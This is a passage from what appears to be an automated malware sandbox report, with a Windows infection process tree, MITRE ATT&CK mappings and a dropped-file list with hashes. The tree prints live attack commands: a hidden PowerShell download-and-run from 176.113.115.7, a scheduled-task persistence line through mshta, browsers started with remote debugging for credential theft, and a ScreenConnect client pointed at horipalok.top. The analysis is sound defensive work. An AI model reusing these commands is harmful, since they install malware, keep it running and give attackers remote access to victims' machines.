                                                      • Loads dropped DLL
                                                      • System Location Discovery: System Language Discovery
                                                      • Suspicious use of FindShellTrayWindow
                                                      PID:7244
                                                • C:\Users\Admin\AppData\Local\Temp\10342320101\3d2445da4e.exe
                                                  "C:\Users\Admin\AppData\Local\Temp\10342320101\3d2445da4e.exe"
                                                  3⤵
                                                  • Executes dropped EXE
                                                  • Suspicious use of SetThreadContext
                                                  PID:9028
                                                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                                    4⤵
                                                    • System Location Discovery: System Language Discovery
                                                    • Checks processor information in registry
                                                    PID:7356
                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
                                                      5⤵
                                                      • Uses browser remote debugging
                                                      • Drops file in Windows directory
                                                      • Checks processor information in registry
                                                      • Enumerates system info in registry
                                                      • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                                                      • Suspicious use of FindShellTrayWindow
                                                      PID:4664
                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffa8160dcf8,0x7ffa8160dd04,0x7ffa8160dd10
                                                        6⤵
                                                          PID:6448
                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=2020,i,2605278806289674717,8578859058618765177,262144 --variations-seed-version=20250314-050508.937000 --mojo-platform-channel-handle=2004 /prefetch:2
                                                          6⤵
                                                            PID:8112
                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=2272,i,2605278806289674717,8578859058618765177,262144 --variations-seed-version=20250314-050508.937000 --mojo-platform-channel-handle=2284 /prefetch:3
                                                            6⤵
                                                              PID:5504
                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=2380,i,2605278806289674717,8578859058618765177,262144 --variations-seed-version=20250314-050508.937000 --mojo-platform-channel-handle=2400 /prefetch:8
                                                              6⤵
                                                                PID:2204
                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3248,i,2605278806289674717,8578859058618765177,262144 --variations-seed-version=20250314-050508.937000 --mojo-platform-channel-handle=3260 /prefetch:1
                                                                6⤵
                                                                • Uses browser remote debugging
                                                                PID:8328
                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3560,i,2605278806289674717,8578859058618765177,262144 --variations-seed-version=20250314-050508.937000 --mojo-platform-channel-handle=3580 /prefetch:1
                                                                6⤵
                                                                • Uses browser remote debugging
                                                                PID:8344
                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --extension-process --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4360,i,2605278806289674717,8578859058618765177,262144 --variations-seed-version=20250314-050508.937000 --mojo-platform-channel-handle=4380 /prefetch:2
                                                                6⤵
                                                                • Uses browser remote debugging
                                                                PID:8364
                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=4676,i,2605278806289674717,8578859058618765177,262144 --variations-seed-version=20250314-050508.937000 --mojo-platform-channel-handle=3912 /prefetch:1
                                                                6⤵
                                                                • Uses browser remote debugging
                                                                PID:8052
                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=4928,i,2605278806289674717,8578859058618765177,262144 --variations-seed-version=20250314-050508.937000 --mojo-platform-channel-handle=4936 /prefetch:8
                                                                6⤵
                                                                  PID:9508
                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"
                                                                5⤵
                                                                • Uses browser remote debugging
                                                                PID:3236
                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x248,0x24c,0x250,0x244,0x168,0x7ffa6c67f208,0x7ffa6c67f214,0x7ffa6c67f220
                                                                  6⤵
                                                                    PID:9348
                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=1964,i,11647952856760670618,16467100586189073402,262144 --variations-seed-version --mojo-platform-channel-handle=2284 /prefetch:3
                                                                    6⤵
                                                                      PID:11920
                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=2168,i,11647952856760670618,16467100586189073402,262144 --variations-seed-version --mojo-platform-channel-handle=2164 /prefetch:2
                                                                      6⤵
                                                                        PID:11956
                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=2488,i,11647952856760670618,16467100586189073402,262144 --variations-seed-version --mojo-platform-channel-handle=2500 /prefetch:8
                                                                        6⤵
                                                                          PID:11992
                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3476,i,11647952856760670618,16467100586189073402,262144 --variations-seed-version --mojo-platform-channel-handle=3544 /prefetch:1
                                                                          6⤵
                                                                          • Uses browser remote debugging
                                                                          PID:5176
                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --instant-process --pdf-upsell-enabled --remote-debugging-port=9223 --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=3484,i,11647952856760670618,16467100586189073402,262144 --variations-seed-version --mojo-platform-channel-handle=3560 /prefetch:1
                                                                          6⤵
                                                                          • Uses browser remote debugging
                                                                          PID:12420
                                                                  • C:\Users\Admin\AppData\Local\Temp\10342330101\kDveTWY.exe
                                                                    "C:\Users\Admin\AppData\Local\Temp\10342330101\kDveTWY.exe"
                                                                    3⤵
                                                                    • Executes dropped EXE
                                                                    • Suspicious use of SetThreadContext
                                                                    PID:6248
                                                                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                                      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                                                      4⤵
                                                                        PID:11660
                                                                      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                                                        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                                                        4⤵
                                                                        • System Location Discovery: System Language Discovery
                                                                        PID:11468
                                                                    • C:\Users\Admin\AppData\Local\Temp\10342650101\15287dfcbf.exe
                                                                      "C:\Users\Admin\AppData\Local\Temp\10342650101\15287dfcbf.exe"
                                                                      3⤵
                                                                      • Executes dropped EXE
                                                                      • System Location Discovery: System Language Discovery
                                                                      • Suspicious use of FindShellTrayWindow
                                                                      • Suspicious use of SendNotifyMessage
                                                                      PID:9392
                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                        C:\Windows\system32\cmd.exe /c schtasks /create /tn OwANmmaCTcM /tr "mshta C:\Users\Admin\AppData\Local\Temp\8Ch65URgP.hta" /sc minute /mo 25 /ru "Admin" /f
                                                                        4⤵
                                                                        • System Location Discovery: System Language Discovery
                                                                        PID:9440
                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                          schtasks /create /tn OwANmmaCTcM /tr "mshta C:\Users\Admin\AppData\Local\Temp\8Ch65URgP.hta" /sc minute /mo 25 /ru "Admin" /f
                                                                          5⤵
                                                                          • System Location Discovery: System Language Discovery
                                                                          • Scheduled Task/Job: Scheduled Task
                                                                          PID:9752
                                                                      • C:\Windows\SysWOW64\mshta.exe
                                                                        mshta C:\Users\Admin\AppData\Local\Temp\8Ch65URgP.hta
                                                                        4⤵
                                                                        • Checks computer location settings
                                                                        • System Location Discovery: System Language Discovery
                                                                        PID:1340
                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'TZEEGSPLOFTDPOVJE9BUR7TDKEVTBT8E.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
                                                                          5⤵
                                                                          • Blocklisted process makes network request
                                                                          • Command and Scripting Interpreter: PowerShell
                                                                          • Downloads MZ/PE file
                                                                          • System Location Discovery: System Language Discovery
                                                                          PID:9744
                                                                          • C:\Users\Admin\AppData\Local\TempTZEEGSPLOFTDPOVJE9BUR7TDKEVTBT8E.EXE
                                                                            "C:\Users\Admin\AppData\Local\TempTZEEGSPLOFTDPOVJE9BUR7TDKEVTBT8E.EXE"
                                                                            6⤵
                                                                              PID:10868
                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\10342660121\am_no.cmd" "
                                                                        3⤵
                                                                        • System Location Discovery: System Language Discovery
                                                                        PID:10336
                                                                        • C:\Windows\SysWOW64\timeout.exe
                                                                          timeout /t 2
                                                                          4⤵
                                                                          • System Location Discovery: System Language Discovery
                                                                          • Delays execution with timeout.exe
                                                                          PID:10616
                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                          C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
                                                                          4⤵
                                                                            PID:10960
                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                              powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
                                                                              5⤵
                                                                              • Command and Scripting Interpreter: PowerShell
                                                                              PID:11044
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
                                                                            4⤵
                                                                              PID:12808
                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
                                                                                5⤵
                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                PID:12900
                                                                          • C:\Users\Admin\AppData\Local\Temp\10342670101\4977a70156.exe
                                                                            "C:\Users\Admin\AppData\Local\Temp\10342670101\4977a70156.exe"
                                                                            3⤵
                                                                              PID:7284
                                                                        • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                                                          C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                                                          1⤵
                                                                          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                          • Checks BIOS information in registry
                                                                          • Executes dropped EXE
                                                                          • Identifies Wine through registry keys
                                                                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                          PID:2916
                                                                        • C:\Windows\system32\msiexec.exe
                                                                          C:\Windows\system32\msiexec.exe /V
                                                                          1⤵
                                                                          • Enumerates connected drives
                                                                          • Boot or Logon Autostart Execution: Authentication Package
                                                                          • Drops file in Program Files directory
                                                                          • Drops file in Windows directory
                                                                          • Modifies data under HKEY_USERS
                                                                          • Modifies registry class
                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                          PID:2880
                                                                          • C:\Windows\syswow64\MsiExec.exe
                                                                            C:\Windows\syswow64\MsiExec.exe -Embedding B4E73C38493450701DCDC5BE5EE12E16 C
                                                                            2⤵
                                                                            • Loads dropped DLL
                                                                            • System Location Discovery: System Language Discovery
                                                                            PID:2172
                                                                            • C:\Windows\SysWOW64\rundll32.exe
                                                                              rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI2EEB.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240660281 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
                                                                              3⤵
                                                                              • Loads dropped DLL
                                                                              • System Location Discovery: System Language Discovery
                                                                              PID:9016
                                                                          • C:\Windows\system32\srtasks.exe
                                                                            C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
                                                                            2⤵
                                                                              PID:12360
                                                                            • C:\Windows\syswow64\MsiExec.exe
                                                                              C:\Windows\syswow64\MsiExec.exe -Embedding 9F427FDA1F2E183D6895C0A9C940BA44
                                                                              2⤵
                                                                              • Loads dropped DLL
                                                                              • System Location Discovery: System Language Discovery
                                                                              PID:12484
                                                                            • C:\Windows\syswow64\MsiExec.exe
                                                                              C:\Windows\syswow64\MsiExec.exe -Embedding B79228B6F09F20C82FDE1ACC83AC96E4 E Global\MSI0000
                                                                              2⤵
                                                                              • Loads dropped DLL
                                                                              • Drops file in Windows directory
                                                                              • System Location Discovery: System Language Discovery
                                                                              PID:13060
                                                                          • C:\Windows\system32\vssvc.exe
                                                                            C:\Windows\system32\vssvc.exe
                                                                            1⤵
                                                                            • Checks SCSI registry key(s)
                                                                            PID:7516
                                                                          • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                                                            C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                                                            1⤵
                                                                            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                            • Checks BIOS information in registry
                                                                            • Executes dropped EXE
                                                                            • Identifies Wine through registry keys
                                                                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                            PID:8028
                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 12392 -ip 12392
                                                                            1⤵
                                                                              PID:11052
                                                                            • C:\Program Files (x86)\ScreenConnect Client (f63a82ffaf9f93d1)\ScreenConnect.ClientService.exe
                                                                              "C:\Program Files (x86)\ScreenConnect Client (f63a82ffaf9f93d1)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=horipalok.top&p=8880&s=4e40c355-d5be-4294-8dc0-57b10c3ce153&k=BgIAAACkAABSU0ExAAgAAAEAAQC5i6E%2fahOoc3QJNQtEoGwqZ%2bCdopTN7JMVjs5O2%2byWcszBbL9cw0U4eUAs0O%2fTt9zZBA51c%2fc1w581kiibjAnZuVNxs1sd0hmNAlDUk8pZ2rgBfiLV%2bCX8Xr1w7PENGbO62O6bYrnCoADRGOr%2bDkAsD9fXZvt2bcWgAU%2fWsucxub7vyrOHFlg0dGlPivlEPgqdF06XmDqh%2bJaT9SNeX8GX5MokmbYgNKFgw6gHkSYgO0gvGb%2bWewn%2ftVekpiuFyJ1lPJvWo313f7%2bPZObMNedjqO8FM2Aja0gP8dtuw0AiY1EQOgSCC3o1fZAl%2fG4Li1yubMjusmlWyPSc3o3%2fusi%2b&t=purchased"
                                                                              1⤵
                                                                              • Sets service image path in registry
                                                                              • Executes dropped EXE
                                                                              • Loads dropped DLL
                                                                              • Drops file in System32 directory
                                                                              • System Location Discovery: System Language Discovery
                                                                              • Modifies data under HKEY_USERS
                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                              PID:13152
                                                                              • C:\Program Files (x86)\ScreenConnect Client (f63a82ffaf9f93d1)\ScreenConnect.WindowsClient.exe
                                                                                "C:\Program Files (x86)\ScreenConnect Client (f63a82ffaf9f93d1)\ScreenConnect.WindowsClient.exe" "RunRole" "e2bf4201-70be-4e4e-8e5b-d7a7b3999efd" "User"
                                                                                2⤵
                                                                                • Executes dropped EXE
                                                                                PID:5904
                                                                              • C:\Program Files (x86)\ScreenConnect Client (f63a82ffaf9f93d1)\ScreenConnect.WindowsClient.exe
                                                                                "C:\Program Files (x86)\ScreenConnect Client (f63a82ffaf9f93d1)\ScreenConnect.WindowsClient.exe" "RunRole" "a9961779-d2e7-4126-8300-f85ff4816606" "System"
                                                                                2⤵
                                                                                • Executes dropped EXE
                                                                                • Drops file in System32 directory
                                                                                • Checks processor information in registry
                                                                                • Modifies data under HKEY_USERS
                                                                                PID:6968
                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 11240 -ip 11240
                                                                              1⤵
                                                                                PID:12452
                                                                              • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                                                                C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                                                                1⤵
                                                                                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                • Checks BIOS information in registry
                                                                                • Executes dropped EXE
                                                                                • Identifies Wine through registry keys
                                                                                • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                PID:4504
                                                                              • C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
                                                                                "C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
                                                                                1⤵
                                                                                  PID:5384
                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe
                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"
                                                                                  1⤵
                                                                                    PID:2768

                                                                                  Network

                                                                                        MITRE ATT&CK Enterprise v15

                                                                                        Reconnaissance

                                                                                        Resource Development

                                                                                        Initial Access

                                                                                        Execution

                                                                                        Command and Scripting Interpreter

                                                                                        1
                                                                                        T1059

                                                                                        PowerShell

                                                                                        1
                                                                                        T1059.001

                                                                                        Scheduled Task/Job

                                                                                        1
                                                                                        T1053

                                                                                        Scheduled Task

                                                                                        1
                                                                                        T1053.005

                                                                                        System Services

                                                                                        2
                                                                                        T1569

                                                                                        Service Execution

                                                                                        2
                                                                                        T1569.002

                                                                                        Persistence

                                                                                        Boot or Logon Autostart Execution

                                                                                        3
                                                                                        T1547

                                                                                        Authentication Package

                                                                                        1
                                                                                        T1547.002

                                                                                        Registry Run Keys / Startup Folder

                                                                                        2
                                                                                        T1547.001

                                                                                        Create or Modify System Process

                                                                                        3
                                                                                        T1543

                                                                                        Windows Service

                                                                                        3
                                                                                        T1543.003

                                                                                        Event Triggered Execution

                                                                                        2
                                                                                        T1546

                                                                                        Component Object Model Hijacking

                                                                                        1
                                                                                        T1546.015

                                                                                        Netsh Helper DLL

                                                                                        1
                                                                                        T1546.007

                                                                                        Modify Authentication Process

                                                                                        1
                                                                                        T1556

                                                                                        Pre-OS Boot

                                                                                        1
                                                                                        T1542

                                                                                        Bootkit

                                                                                        1
                                                                                        T1542.003

                                                                                        Scheduled Task/Job

                                                                                        1
                                                                                        T1053

                                                                                        Scheduled Task

                                                                                        1
                                                                                        T1053.005

                                                                                        Privilege Escalation

                                                                                        Boot or Logon Autostart Execution

                                                                                        3
                                                                                        T1547

                                                                                        Authentication Package

                                                                                        1
                                                                                        T1547.002

                                                                                        Registry Run Keys / Startup Folder

                                                                                        2
                                                                                        T1547.001

                                                                                        Create or Modify System Process

                                                                                        3
                                                                                        T1543

                                                                                        Windows Service

                                                                                        3
                                                                                        T1543.003

                                                                                        Event Triggered Execution

                                                                                        2
                                                                                        T1546

                                                                                        Component Object Model Hijacking

                                                                                        1
                                                                                        T1546.015

                                                                                        Netsh Helper DLL

                                                                                        1
                                                                                        T1546.007

                                                                                        Scheduled Task/Job

                                                                                        1
                                                                                        T1053

                                                                                        Scheduled Task

                                                                                        1
                                                                                        T1053.005

                                                                                        Defense Evasion

                                                                                        File and Directory Permissions Modification

                                                                                        1
                                                                                        T1222

                                                                                        Impair Defenses

                                                                                        2
                                                                                        T1562

                                                                                        Safe Mode Boot

                                                                                        1
                                                                                        T1562.009

                                                                                        Modify Authentication Process

                                                                                        1
                                                                                        T1556

                                                                                        Modify Registry

                                                                                        3
                                                                                        T1112

                                                                                        Pre-OS Boot

                                                                                        1
                                                                                        T1542

                                                                                        Bootkit

                                                                                        1
                                                                                        T1542.003

                                                                                        Virtualization/Sandbox Evasion

                                                                                        2
                                                                                        T1497

                                                                                        Credential Access

                                                                                        Credentials from Password Stores

                                                                                        1
                                                                                        T1555

                                                                                        Credentials from Web Browsers

                                                                                        1
                                                                                        T1555.003

                                                                                        Modify Authentication Process

                                                                                        1
                                                                                        T1556

                                                                                        Steal Web Session Cookie

                                                                                        1
                                                                                        T1539

                                                                                        Unsecured Credentials

                                                                                        2
                                                                                        T1552

                                                                                        Credentials In Files

                                                                                        2
                                                                                        T1552.001

                                                                                        Discovery

                                                                                        Browser Information Discovery

                                                                                        1
                                                                                        T1217

                                                                                        Peripheral Device Discovery

                                                                                        2
                                                                                        T1120

                                                                                        Process Discovery

                                                                                        1
                                                                                        T1057

                                                                                        Query Registry

                                                                                        10
                                                                                        T1012

                                                                                        Software Discovery

                                                                                        1
                                                                                        T1518

                                                                                        Security Software Discovery

                                                                                        1
                                                                                        T1518.001

                                                                                        System Information Discovery

                                                                                        8
                                                                                        T1082

                                                                                        System Location Discovery

                                                                                        1
                                                                                        T1614

                                                                                        System Language Discovery

                                                                                        1
                                                                                        T1614.001

                                                                                        Virtualization/Sandbox Evasion

                                                                                        2
                                                                                        T1497

                                                                                        Lateral Movement

                                                                                        Collection

                                                                                        Data from Local System

                                                                                        2
                                                                                        T1005

                                                                                        Command and Control

                                                                                        Exfiltration

                                                                                        Impact

                                                                                        Service Stop

                                                                                        1
                                                                                        T1489

                                                                                        Replay Monitor

                                                                                        Loading Replay Monitor...

                                                                                        Downloads

                                                                                        e588096.rbs
                                                                                        • Path C:\Config.Msi\e588096.rbs
                                                                                        • Size 214KB
                                                                                        • SHA256 c34892ffd1cdb5b3e8f6c078dc2ec86a6627f9bb187ff08941f58938ba94bc6a
                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                        Submit Download

                                                                                        klupd_9e186137a_arkmon.sys
                                                                                        • Path C:\KVRT2020_Data\Temp\7C924DD4D20055C80007791130E2D03F\klupd_9e186137a_arkmon.sys
                                                                                        • Size 390KB
                                                                                        • SHA256 406ab7d6e45dbedcfbd2d7376a643620c7462cece3e41115c8fbc07861177ec6
                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                        Submit Download

                                                                                        tzutil.exe
                                                                                        • Path C:\ProgramData\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\tzutil.exe
                                                                                        • Size 1.9MB
                                                                                        • SHA256 93a5dc1be8f236795c111d119ba8d2255371205b34bba51c92551076ce927c1a
                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                        Submit Download

                                                                                        SCT Auditing Pending Reports
                                                                                        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
                                                                                        • Size 2B
                                                                                        • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                                                                                        • MD5 SHA1 SHA512
                                                                                        Submit Download

                                                                                        Local State
                                                                                        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                                                                        • Size 79KB
                                                                                        • SHA256 529dba818aad31338ce8f49fc70a1749b35c00046a279f922369266895844cb1
                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                        Submit Download

                                                                                        powershell.exe.log
                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                                                                                        • Size 2KB
                                                                                        • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                                                                                        • MD5 SHA1 SHA512
                                                                                        Submit Download

                                                                                        settings.dat
                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                                                                                        • Size 280B
                                                                                        • SHA256 2f65f9c3c54fe018e0b1f46e3c593d100a87758346d3b00a72cb93042daf60a2
                                                                                        • MD5 SHA1 SHA512
                                                                                        Submit Download

                                                                                        the-real-index
                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\75b67b01-d915-47a8-b1fb-4d0df8910bb2\index-dir\the-real-index
                                                                                        • Size 2KB
                                                                                        • SHA256 12a5b3b2bceb99e28ee75aed9ead19f78e882fc64f33e5192f5d2d6f30372d21
                                                                                        • MD5 SHA1 SHA512
                                                                                        Submit Download

                                                                                        the-real-index~RFe599541.TMP
                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\75b67b01-d915-47a8-b1fb-4d0df8910bb2\index-dir\the-real-index~RFe599541.TMP
                                                                                        • Size 2KB
                                                                                        • SHA256 1a7d5d9aa451f80e9e3b4a01a944caeb2d5ea37464793defb3d2c864c65eaa9d
                                                                                        • MD5 SHA1 SHA512
                                                                                        Submit Download

                                                                                        Local State
                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                                                                        • Size 40KB
                                                                                        • SHA256 f6f80c16ef672a957baf82db6f4b653d4aab944664c1b414b5d553abd45313e5
                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                        Submit Download

                                                                                        StartupProfileData-NonInteractive
                                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                        • Size 944B
                                                                                        • SHA256 7aab157fba3a543647a38cc8729ffb962a58cc2093d94566c9e68ff73d134dca
                                                                                        • MD5 SHA1 SHA512
                                                                                        Submit Download

                                                                                        TempTZEEGSPLOFTDPOVJE9BUR7TDKEVTBT8E.EXE
